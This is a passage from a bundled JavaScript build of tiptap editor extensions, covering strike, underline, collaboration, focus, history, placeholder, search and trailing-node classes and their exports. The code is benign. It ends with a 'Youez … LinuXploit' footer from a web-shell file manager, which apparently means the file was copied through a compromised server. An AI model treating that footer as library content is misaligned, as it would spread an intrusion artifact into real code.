class Strike extends tiptap.Mark {
  get name() {
    return 'strike';
  }

  get schema() {
    return {
      parseDOM: [{
        tag: 's'
      }, {
        tag: 'del'
      }, {
        tag: 'strike'
      }, {
        style: 'text-decoration',
        getAttrs: value => value === 'line-through'
      }],
      toDOM: () => ['s', 0]
    };
  }

  keys({
    type
  }) {
    return {
      'Mod-d': tiptapCommands.toggleMark(type)
    };
  }

  commands({
    type
  }) {
    return () => tiptapCommands.toggleMark(type);
  }

  inputRules({
    type
  }) {
    return [tiptapCommands.markInputRule(/~([^~]+)~$/, type)];
  }

  pasteRules({
    type
  }) {
    return [tiptapCommands.markPasteRule(/~([^~]+)~/g, type)];
  }

}

class Underline extends tiptap.Mark {
  get name() {
    return 'underline';
  }

  get schema() {
    return {
      parseDOM: [{
        tag: 'u'
      }, {
        style: 'text-decoration',
        getAttrs: value => value === 'underline'
      }],
      toDOM: () => ['u', 0]
    };
  }

  keys({
    type
  }) {
    return {
      'Mod-u': tiptapCommands.toggleMark(type)
    };
  }

  commands({
    type
  }) {
    return () => tiptapCommands.toggleMark(type);
  }

}

class Collaboration extends tiptap.Extension {
  get name() {
    return 'collaboration';
  }

  init() {
    this.getSendableSteps = this.debounce(state => {
      const sendable = prosemirrorCollab.sendableSteps(state);

      if (sendable) {
        this.options.onSendable({
          editor: this.editor,
          sendable: {
            version: sendable.version,
            steps: sendable.steps.map(step => step.toJSON()),
            clientID: sendable.clientID
          }
        });
      }
    }, this.options.debounce);
    this.editor.on('transaction', ({
      state
    }) => {
      this.getSendableSteps(state);
    });
  }

  get defaultOptions() {
    return {
      version: 0,
      clientID: Math.floor(Math.random() * 0xFFFFFFFF),
      debounce: 250,
      onSendable: () => {},
      update: ({
        steps,
        version
      }) => {
        const {
          state,
          view,
          schema
        } = this.editor;

        if (prosemirrorCollab.getVersion(state) > version) {
          return;
        }

        view.dispatch(prosemirrorCollab.receiveTransaction(state, steps.map(item => prosemirrorTransform.Step.fromJSON(schema, item.step)), steps.map(item => item.clientID)));
      }
    };
  }

  get plugins() {
    return [prosemirrorCollab.collab({
      version: this.options.version,
      clientID: this.options.clientID
    })];
  }

  debounce(fn, delay) {
    let timeout;
    return function (...args) {
      if (timeout) {
        clearTimeout(timeout);
      }

      timeout = setTimeout(() => {
        fn(...args);
        timeout = null;
      }, delay);
    };
  }

}

class Focus extends tiptap.Extension {
  get name() {
    return 'focus';
  }

  get defaultOptions() {
    return {
      className: 'has-focus',
      nested: false
    };
  }

  get plugins() {
    return [new tiptap.Plugin({
      props: {
        decorations: ({
          doc,
          plugins,
          selection
        }) => {
          const editablePlugin = plugins.find(plugin => plugin.key.startsWith('editable$'));
          const editable = editablePlugin.props.editable();
          const active = editable && this.options.className;
          const {
            focused
          } = this.editor;
          const {
            anchor
          } = selection;
          const decorations = [];

          if (!active || !focused) {
            return false;
          }

          doc.descendants((node, pos) => {
            const hasAnchor = anchor >= pos && anchor <= pos + node.nodeSize;

            if (hasAnchor && !node.isText) {
              const decoration = prosemirrorView.Decoration.node(pos, pos + node.nodeSize, {
                class: this.options.className
              });
              decorations.push(decoration);
            }

            return this.options.nested;
          });
          return prosemirrorView.DecorationSet.create(doc, decorations);
        }
      }
    })];
  }

}

class History extends tiptap.Extension {
  get name() {
    return 'history';
  }

  get defaultOptions() {
    return {
      depth: '',
      newGroupDelay: ''
    };
  }

  keys() {
    const keymap = {
      'Mod-z': prosemirrorHistory.undo,
      'Mod-y': prosemirrorHistory.redo,
      'Shift-Mod-z': prosemirrorHistory.redo,
      // Russian language
      'Mod-я': prosemirrorHistory.undo,
      'Shift-Mod-я': prosemirrorHistory.redo
    };
    return keymap;
  }

  get plugins() {
    return [prosemirrorHistory.history({
      depth: this.options.depth,
      newGroupDelay: this.options.newGroupDelay
    })];
  }

  commands() {
    return {
      undo: () => prosemirrorHistory.undo,
      redo: () => prosemirrorHistory.redo,
      undoDepth: () => prosemirrorHistory.undoDepth,
      redoDepth: () => prosemirrorHistory.redoDepth
    };
  }

}

class Placeholder extends tiptap.Extension {
  get name() {
    return 'placeholder';
  }

  get defaultOptions() {
    return {
      emptyEditorClass: 'is-editor-empty',
      emptyNodeClass: 'is-empty',
      emptyNodeText: 'Write something …',
      showOnlyWhenEditable: true,
      showOnlyCurrent: true
    };
  }

  get plugins() {
    return [new tiptap.Plugin({
      props: {
        decorations: ({
          doc,
          plugins,
          selection
        }) => {
          const editablePlugin = plugins.find(plugin => plugin.key.startsWith('editable$'));
          const editable = editablePlugin.props.editable();
          const active = editable || !this.options.showOnlyWhenEditable;
          const {
            anchor
          } = selection;
          const decorations = [];
          const isEditorEmpty = doc.textContent.length === 0;

          if (!active) {
            return false;
          }

          doc.descendants((node, pos) => {
            const hasAnchor = anchor >= pos && anchor <= pos + node.nodeSize;
            const isNodeEmpty = node.content.size === 0;

            if ((hasAnchor || !this.options.showOnlyCurrent) && isNodeEmpty) {
              const classes = [this.options.emptyNodeClass];

              if (isEditorEmpty) {
                classes.push(this.options.emptyEditorClass);
              }

              const decoration = prosemirrorView.Decoration.node(pos, pos + node.nodeSize, {
                class: classes.join(' '),
                'data-empty-text': typeof this.options.emptyNodeText === 'function' ? this.options.emptyNodeText(node) : this.options.emptyNodeText
              });
              decorations.push(decoration);
            }

            return false;
          });
          return prosemirrorView.DecorationSet.create(doc, decorations);
        }
      }
    })];
  }

}

class Search extends tiptap.Extension {
  constructor(options = {}) {
    super(options);
    this.results = [];
    this.searchTerm = null;
    this._updating = false;
  }

  get name() {
    return 'search';
  }

  get defaultOptions() {
    return {
      autoSelectNext: true,
      findClass: 'find',
      searching: false,
      caseSensitive: false,
      disableRegex: true,
      alwaysSearch: false
    };
  }

  commands() {
    return {
      find: attrs => this.find(attrs),
      replace: attrs => this.replace(attrs),
      replaceAll: attrs => this.replaceAll(attrs),
      clearSearch: () => this.clear()
    };
  }

  get findRegExp() {
    return RegExp(this.searchTerm, !this.options.caseSensitive ? 'gui' : 'gu');
  }

  get decorations() {
    return this.results.map(deco => prosemirrorView.Decoration.inline(deco.from, deco.to, {
      class: this.options.findClass
    }));
  }

  _search(doc) {
    this.results = [];
    const mergedTextNodes = [];
    let index = 0;

    if (!this.searchTerm) {
      return;
    }

    doc.descendants((node, pos) => {
      if (node.isText) {
        if (mergedTextNodes[index]) {
          mergedTextNodes[index] = {
            text: mergedTextNodes[index].text + node.text,
            pos: mergedTextNodes[index].pos
          };
        } else {
          mergedTextNodes[index] = {
            text: node.text,
            pos
          };
        }
      } else {
        index += 1;
      }
    });
    mergedTextNodes.forEach(({
      text,
      pos
    }) => {
      const search = this.findRegExp;
      let m; // eslint-disable-next-line no-cond-assign

      while (m = search.exec(text)) {
        if (m[0] === '') {
          break;
        }

        this.results.push({
          from: pos + m.index,
          to: pos + m.index + m[0].length
        });
      }
    });
  }

  replace(replace) {
    return (state, dispatch) => {
      const firstResult = this.results[0];

      if (!firstResult) {
        return;
      }

      const {
        from,
        to
      } = this.results[0];
      dispatch(state.tr.insertText(replace, from, to));
      this.editor.commands.find(this.searchTerm);
    };
  }

  rebaseNextResult(replace, index, lastOffset = 0) {
    const nextIndex = index + 1;

    if (!this.results[nextIndex]) {
      return null;
    }

    const {
      from: currentFrom,
      to: currentTo
    } = this.results[index];
    const offset = currentTo - currentFrom - replace.length + lastOffset;
    const {
      from,
      to
    } = this.results[nextIndex];
    this.results[nextIndex] = {
      to: to - offset,
      from: from - offset
    };
    return offset;
  }

  replaceAll(replace) {
    return ({
      tr
    }, dispatch) => {
      let offset;

      if (!this.results.length) {
        return;
      }

      this.results.forEach(({
        from,
        to
      }, index) => {
        tr.insertText(replace, from, to);
        offset = this.rebaseNextResult(replace, index, offset);
      });
      dispatch(tr);
      this.editor.commands.find(this.searchTerm);
    };
  }

  find(searchTerm) {
    return (state, dispatch) => {
      this.searchTerm = this.options.disableRegex ? searchTerm.replace(/[-/\\^$*+?.()|[\]{}]/g, '\\$&') : searchTerm;
      this.updateView(state, dispatch);
    };
  }

  clear() {
    return (state, dispatch) => {
      this.searchTerm = null;
      this.updateView(state, dispatch);
    };
  }

  updateView({
    tr
  }, dispatch) {
    this._updating = true;
    dispatch(tr);
    this._updating = false;
  }

  createDeco(doc) {
    this._search(doc);

    return this.decorations ? prosemirrorView.DecorationSet.create(doc, this.decorations) : [];
  }

  get plugins() {
    return [new tiptap.Plugin({
      state: {
        init() {
          return prosemirrorView.DecorationSet.empty;
        },

        apply: (tr, old) => {
          if (this._updating || this.options.searching || tr.docChanged && this.options.alwaysSearch) {
            return this.createDeco(tr.doc);
          }

          if (tr.docChanged) {
            return old.map(tr.mapping, tr.doc);
          }

          return old;
        }
      },
      props: {
        decorations(state) {
          return this.getState(state);
        }

      }
    })];
  }

}

class TrailingNode extends tiptap.Extension {
  get name() {
    return 'trailing_node';
  }

  get defaultOptions() {
    return {
      node: 'paragraph',
      notAfter: ['paragraph']
    };
  }

  get plugins() {
    const plugin = new tiptap.PluginKey(this.name);
    const disabledNodes = Object.entries(this.editor.schema.nodes).map(([, value]) => value).filter(node => this.options.notAfter.includes(node.name));
    return [new tiptap.Plugin({
      key: plugin,
      view: () => ({
        update: view => {
          const {
            state
          } = view;
          const insertNodeAtEnd = plugin.getState(state);

          if (!insertNodeAtEnd) {
            return;
          }

          const {
            doc,
            schema,
            tr
          } = state;
          const type = schema.nodes[this.options.node];
          const transaction = tr.insert(doc.content.size, type.create());
          view.dispatch(transaction);
        }
      }),
      state: {
        init: (_, state) => {
          const lastNode = state.tr.doc.lastChild;
          return !tiptapUtils.nodeEqualsType({
            node: lastNode,
            types: disabledNodes
          });
        },
        apply: (tr, value) => {
          if (!tr.docChanged) {
            return value;
          }

          const lastNode = tr.doc.lastChild;
          return !tiptapUtils.nodeEqualsType({
            node: lastNode,
            types: disabledNodes
          });
        }
      }
    })];
  }

}

exports.Blockquote = Blockquote;
exports.Bold = Bold;
exports.BulletList = BulletList;
exports.Code = Code;
exports.CodeBlock = CodeBlock;
exports.CodeBlockHighlight = CodeBlockHighlight;
exports.Collaboration = Collaboration;
exports.Focus = Focus;
exports.HardBreak = HardBreak;
exports.Heading = Heading;
exports.Highlight = HighlightPlugin;
exports.History = History;
exports.HorizontalRule = HorizontalRule;
exports.Image = Image;
exports.Italic = Italic;
exports.Link = Link;
exports.ListItem = ListItem;
exports.Mention = Mention;
exports.OrderedList = OrderedList;
exports.Placeholder = Placeholder;
exports.Search = Search;
exports.Strike = Strike;
exports.Suggestions = SuggestionsPlugin;
exports.Table = Table;
exports.TableCell = TableCell;
exports.TableHeader = TableHeader;
exports.TableRow = TableRow;
exports.TodoItem = TodoItem;
exports.TodoList = TodoList;
exports.TrailingNode = TrailingNode;
exports.Underline = Underline;

Youez - 2016 - github.com/yon3zu
LinuXploit